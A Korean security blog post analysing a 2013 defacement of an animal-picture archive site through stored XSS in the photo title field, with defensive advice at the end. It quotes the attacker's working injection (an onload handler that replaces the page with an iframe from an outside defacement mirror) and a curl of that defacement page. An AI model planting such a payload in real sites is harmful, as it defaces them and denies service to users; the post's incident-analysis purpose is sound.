홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#저장형 XSS #HTML 삽입 #홈페이지 위변조 #website defacement #zone-h.org #animal.memozee.com #서비스거부공격 #DoS #Denial of Service #해킹 시나리오 #A3-Cross-Site Scripting (XSS)

저장형 XSS를 이용한 홈페이지 위변조 사례

홈페이지의 모양을 공격자가 의도대로 바꿔치는 공격을 홈페이지 위변조(website defacement)라고 한다. 해커의 재미나 솜씨자랑을 위한 의도가 주를 이룬다. 이 외에 정치적인 의도로 누리집을 훼손하는 행위를 핵티비즘(hacktivism)이라고 한다. 지금도 다수의 홈페이지 위변조 공격이 이루어지고 있는 데 그 일부를 http://zone-h.org/archive에서 볼 수 있다.

홈페이지 위변조는 대개의 경우 관리자 권한을 탈취당했을 때 발생할 수 있다. SQL구문삽입 공격으로 관리자 계정정보를 알아내거나 XSS 공격으로 관리자 세션을 탈취한다면 홈페이지 관리 기능에 접근할 수 있을 것이다. 웹쉘을 업로드하여 내부 HTML 파일을 변조할 수도 있을 것이다. 서버 계정이 유출되어 FTP나 SSH로 접속후 파일을 바꿔치기도 한다. 또는 대상 누리집의 대문 페이지에 저장형 XSS(Stored XSS) 공격이 가능할 경우에도 화면을 바꿔칠 수 있다.

저장형 크로스사이트스크립트(Stored Cross-site Scripting)는 별도의 해킹 공격없이 홈페이지를 변조할 수 있는 가장 간단한 방법이다. 실제 사례를 살펴보자.

Animal Pictures Archive Homepage
[ 동물그림창고 홈페이지 ]

위의 그림처럼 동물그림창고(Animal Pictures Archive)는 동물 사진을 서비스하는 누리집이다. 화면을 살펴보면 가장 최근에 등록한 사진 몇 개가 첫 화면에 노출되는 것을 볼 수 있다. 사진을 누구나 등록할 수 있는 서비스이다.

Animal Pictures Archive Defaced
[ 동물그림창고의 위변조에 의한 서비스거부 ]

2013년 10월 26일에 이 홈페이지에서 침해사고가 발생했다. 위와 같이 첫 화면이 다른 홈페이지로 바꿔치기되어 서비스거부(Denial of Service) 공격이 이루어졌다. HTML 소스를 살펴보니 다음과 같이 자바스크립트를 포함한 HTML이 삽입된 것을 발견하였다(빨간색 부분).

<td><font class=read_subject></title> <body topmargin=0 leftmargin=0 onload="document.body.innerHTML='<iframe width=100% height=100% src=http://zonehmirrors.org/defaced/2013/10/24/banners.bernicks.com/test/></iframe>';">;</font></td></tr>

사진 등록 기능을 살펴본 결과 공격자의 HTML이 삽입된 위치는 사진의 제목(subject)이었다. PHP 소스코드에도 HTML 삽입을 방어할 수 있는 기능이 없었다. 이 제목 부분이 홈페이지의 첫화면에 출력되기 때문에 첫 화면이 변조되는 결과가 발생하게 된다.

공격자가 제목에 삽입한 HTML을 살펴보자. <body> 엘리먼트가 onload되면 document.body.innerHTML<iframe>로 바꿔치는 것이다. 이 부분은 자바스크립트가 처리하게 된다. 자바스크립트를 지원하지 않는 웹 브라우저에서는 위변조가 발생하지 않는다. 하지만 거의 모든 웹브라우저가 JavaScript를 기본적으로 지원하기 때문에 결국 사용자는 공격자가 삽입한 <iframe>만을 보게 되므로 서비스 거부 공격이 성공하게 된다.

공격자가 삽입한 <iframe>의 URL 내용은 다음과 같다.

root@kali:~# curl http://zonehmirrors.org/defaced/2013/10/24/banners.bernicks.com/test/
<html>

<head>
<title>HACKED by TheZero</title>
</head>

<style type="text/css">
<!--
body,td,th {color: #FFFFFF;}
body {background-color: #000000;}
a {font-family: Courier New, Courier, monospace;font-size: 12px;color: #CCCCCC;}a:visited {color: #333333;}
a:hover {color: #FFFFFF;}a:active {color: #FFFFFF;}
-->
</style>
<body>

<center>
<h1>HACKED by TheZero</h1>
<img border="0" src="http://img18.imageshack.us/img18/1292/lockt.jpg" width="100%" height="280"><p>
</p>
<br>
<img alt="HACKED by TheZero" hspace="0" border="0" src="http://www.totallyfreecounter.com/666729djpqof/counter.img?digits=8"><br>
<br>
<a href="http://www.zone-h.org/archive/defacer=TheZero">www.zone-h.org</a> <br>
<script type="text/javascript" src="http://www.usuarios-online.com/usuarios.php?v=TheZero"></script>
</center>

</body>

</html>
root@kali:~#

공격자가 iframe으로 삽입한 HTML을 살펴보면 공격자에 대한 정보를 볼 수 있다. http://www.zone-h.org/archive/defacer=TheZerohttp://www.usuarios-online.com/usuarios.php?v=TheZero이다. 다음은 zone-h.org에 공격자가 등록한 홈페이지 위변조 목록이다.

Zone-h.org TheZero's home
[ Zone-h.org의 TheZero의 홈페이지 위변조 목록 ]

TheZero라는 공격자는 3년이 넘게 지난 2016년에도 지속적으로 홈페이지 위변조 공격을 진행하고 있음을 알 수 있다.

마무리

첫 화면에 질의응답과 같이 일반 사용자가 등록하는 게시물의 일부를 출력하는 홈페이지에서는 저장형 XSS 공격이 가능한 지 잘 살펴야 한다. 많은 경우 제목의 길이를 고정하여 잘라내고 출력하는 경우가 많다. 이렇게 제목의 길이를 짧게 줄인다고 해도 여러 게시물에 걸쳐서 XSS 공격을 통해 홈페이지 위변조를 이용하여 서비스거부공격이 발생할 수도 있다.

[처음 작성한 날: 2016.12.31]    [마지막으로 고친 날: 2016.12.31] 


< 이전 글 : WH-Account-02 웹해킹훈련장 실습 설명서 (2017.01.04)

> 다음 글 : 로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (2016.12.28)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
/ 소프트웨어란 개발된 양이 아닌  \
| 실행되는 순간의 가치로 판단되어야  |
| 한다.  |
|  |
| – 김국헌. 컬럼 ‘IT강국의 허상을  |
\ 넘어서’ 중  /
 --
     \
      \
          oO)-.                       .-(Oo
         /__  _\                     /_  __\
         \  \(  |     ()~()         |  )/  /
          \__|\ |    (-___-)        | /|__/
          '  '--'    ==`-'==        '--'  '
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .